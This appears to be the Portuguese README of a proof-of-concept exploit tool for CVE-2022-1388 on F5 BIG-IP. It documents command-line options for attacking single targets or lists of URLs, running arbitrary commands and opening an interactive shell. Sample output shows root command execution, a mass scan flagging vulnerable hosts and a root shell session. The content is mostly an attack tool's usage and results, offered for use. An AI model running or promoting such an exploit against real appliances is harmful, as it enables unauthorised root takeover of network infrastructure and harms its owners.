luchoane/cve-2022-1388_refreshPoC para explorar CVE-2022-1388 no BIG IP F5
PoC para explorar CVE-2022-1388 no BigIP F5
python3 refresh.py -h
usage: refresh.py [-h] [-u URL] [-f F] [-c CMD] [-s SH]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url alvo
-f F, --file F arquivo de urls
-c CMD, --command CMD
comando
-s SH, --shell SH url para conectar
$ python3 refresh.py -u IP -c id
::::::::: ::::::::::::::::::::::::::::: :::::::::::::::::: ::: :::
:+: :+::+: :+: :+: :+::+: :+: :+::+: :+:
+:+ +:++:+ +:+ +:+ +:++:+ +:+ +:+ +:+
+#++:++#: +#++:++# :#::+::# +#++:++#: +#++:++# +#++:++#+++#++:++#++
+#+ +#++#+ +#+ +#+ +#++#+ +#++#+ +#+
#+# #+##+# #+# #+# #+##+# #+# #+##+# #+#
### ################ ### ##################### ### ###
</coded by Luchoane>
[++++++] VULNERÁVEL: xxx.xxx.xxx.xxx | uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 refresh.py -f list.txt -c id
::::::::: ::::::::::::::::::::::::::::: :::::::::::::::::: ::: :::
:+: :+::+: :+: :+: :+::+: :+: :+::+: :+:
+:+ +:++:+ +:+ +:+ +:++:+ +:+ +:+ +:+
+#++:++#: +#++:++# :#::+::# +#++:++#: +#++:++# +#++:++#+++#++:++#++
+#+ +#++#+ +#+ +#+ +#++#+ +#++#+ +#+
#+# #+##+# #+# #+# #+##+# #+# #+##+# #+#
### ################ ### ##################### ### ###
</coded by Luchoane>
[-] NÃO VULNERÁVEL: xxx.xxx.xxx.xxx
[-] NÃO VULNERÁVEL: xxx.xxx.xxx.xxx
[++++++] VULNERÁVEL: xxx.xxx.xxx.xxx | uid=0(root) gid=0(root) context=system_u:system_r:init_t
[-] NÃO VULNERÁVEL: xxx.xxx.xxx.xxx
--------------------------
Alvos vulneráveis escaneados:
[+] xxx.xxx.xxx.xxx
$ python3 refresh.py -s xxx.xxx.xxx.xxx
::::::::: ::::::::::::::::::::::::::::: :::::::::::::::::: ::: :::
:+: :+::+: :+: :+: :+::+: :+: :+::+: :+:
+:+ +:++:+ +:+ +:+ +:++:+ +:+ +:+ +:+
+#++:++#: +#++:++# :#::+::# +#++:++#: +#++:++# +#++:++#+++#++:++#++
+#+ +#++#+ +#+ +#+ +#++#+ +#++#+ +#+
#+# #+##+# #+# #+# #+##+# #+# #+##+# #+#
### ################ ### ##################### ### ###
</coded by Luchoane>
Bem-vindo ao shell interativo para: xxx.xxx.xxx.xxx
Usuário: root
> ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.027 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.027/0.027/0.027/0.000 ms
>